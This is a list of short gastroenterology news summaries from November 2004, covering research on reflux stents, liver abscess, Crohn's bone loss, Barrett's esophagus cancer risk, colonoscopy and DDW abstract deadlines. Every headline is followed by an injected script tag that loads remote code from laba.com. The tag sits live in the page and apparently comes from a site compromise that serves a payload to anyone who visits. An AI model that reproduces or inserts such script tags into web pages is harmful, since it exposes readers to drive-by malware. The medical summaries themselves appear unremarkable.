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Antireflux stent fails to prevent gastroesophageal reflux 29 November 2004
Antireflux stent for GERD<script src=http://laba.com/muuu.s></script> An antireflux stent provides relief of dysphagia caused by malignancy of the distal esophagus and gastric cardia, but fails to prevent gastroesophageal reflux, reports November's issue of Gastrointestinal Endoscopy.
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News from NIH: action plan for liver disease research 29 November 2004
Action plan for liver disease research<script src=http://laba.com/muuu.s></script> After a Congressional request asking for more focus on NIH-funded liver disease research, the NIH has developed a trans-NIH Action Plan with the aim of decreasing the burden of liver disease in the United States, reports a recent statement by the NIH.
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Response to percutaneous ablation predicts survival 29 November 2004
Percutaneous ablation improves survival<script src=http://laba.com/muuu.s></script> A study in December's Hepatology reports that initial complete tumor necrosis should be considered a relevant therapeutic target irrespective of tumor size and liver function.
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Reminder for DDW abstract submission: deadline December 3 29 November 2004
Abstracts for DDW<script src=http://laba.com/muuu.s></script> Deadline approaching for submission of abstracts for DDW 2005! Don't miss the opportunity to share your research with more than 15,000 GI professionals from around the world!
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Bone resorption in Crohn's is inversely correlated with vit K status 26 November 2004
Vitamin K status in Crohn's patients<script src=http://laba.com/muuu.s></script> The rate of bone resorption in Crohn's disease is inversely correlated with vitamin K status, reports a study in the American Journal of Gastroenterology, which suggests that it might be another etiological factor for CD-related osteopenia.
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Sedative medication vs topical anesthesia for endoscopy 26 November 2004
Sedative or anesthestic for endoscopy?<script src=http://laba.com/muuu.s></script> Topical pharyngeal anesthesia did not enhance patient tolerance, but it did make upper endoscopy technically easier, reports November's issue of Gastrointestinal Endoscopy.
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Laparoscopic approach for treatment of sigmoid diverticulitis 26 November 2004
Results of laparoscopy for diverticulitis<script src=http://laba.com/muuu.s></script> Cases of complicated diverticulitis are significantly more frequently operated on at institutions with greater experience and despite this, these institutions have better intraoperative complication rates, postoperative morbidity and mortality rates, reports November's issue of Diseases of the Colon and Rectum.
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Sentinel lymph node mapping is highly successful in rectal cancer 25 November 2004
Sentinel lymph node mapping in colon and rectal cancer<script src=http://laba.com/muuu.s></script> Researchers in November's issue of Diseases of the Colon and Rectum find that despite higher success rates in sentinel lymph node identification for colon patients, sentinel lymph node mapping was highly successful in rectal patients.
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DDW 2005 call for abstracts - submission deadline looming! 25 November 2004
Abstracts for DDW<script src=http://laba.com/muuu.s></script> Abstracts are now being accepted for DDW 2005. Don't miss the opportunity to share your research with more than 15,000 GI professionals from around the world!
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EUS yield in primary vs recurrent idiopathic acute pancreatitis 25 November 2004
EUS in primary vs recurrent idiopathic acute pancreatitis<script src=http://laba.com/muuu.s></script> In patients with idiopathic pancreatitis, the yield of EUS is not significantly different after an initial attack or after recurrent attacks, hence it is reasonable to perform EUS after an initial attack especially in older patients, reports a study in November's Gastrointestinal Endoscopy.
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Determinants of survival in node-negative esophageal cancer 24 November 2004
Survival in node-negative esophageal cancer<script src=http://laba.com/muuu.s></script> A study in December's issue of the British Journal of Surgery reports that surgical resection of node-negative esophageal cancer is associated with diverse long-term outcomes, but that this is not reflected in the tumor node metastasis (TNM)-based staging system.
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Reduced need for small-bowel barium follow-through 24 November 2004
Small-bowel barium follow-through rarely required<script src=http://laba.com/muuu.s></script> Small-bowel barium follow-through is rarely required in patients who have had a normal ileoscopy and terminal ileum biopsy and a normal or unremarkable colonoscopy, reports a study published in December's Scandinavian Journal of Gastroenterology.
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Epidemiology of and risk factors for pyogenic liver abscess 24 November 2004
Epidemiology of pyogenic liver abscess<script src=http://laba.com/muuu.s></script> Men are at much higher risk of acquiring a pyogenic liver abscess (PLA) as compared to women and a number of comorbid conditions are associated with significantly higher risk for developing a PLA, reports November's issue of Clinical Gastroenterology and Hepatology.
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Cancer incidence and mortality with long-segment Barrett's Esophagus 23 November 2004
Cancer risk with long-segment Barrett's<script src=http://laba.com/muuu.s></script> The annual risk of developing high-grade dysplasia or adenocarcinoma in patients with long-segment BE is 0.83%, however, death due to adenocarcinoma is uncommon, even in patients with long-segment BE, reports December's issue of the Scandinavian Journal of Gastroenterology.
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170° wide-angle colonoscope: efficiency and miss rates 23 November 2004
Small polyps are routinely missed during colonoscopy<script src=http://laba.com/muuu.s></script> The use of the wide-angle colonoscope was associated with a reduction in insertion time to the cecum, as well as examination time during withdrawal, reports the latest issue of The American Journal of Gastroenterology, however, no evidence was found that the accuracy of the two colonoscopes differs.
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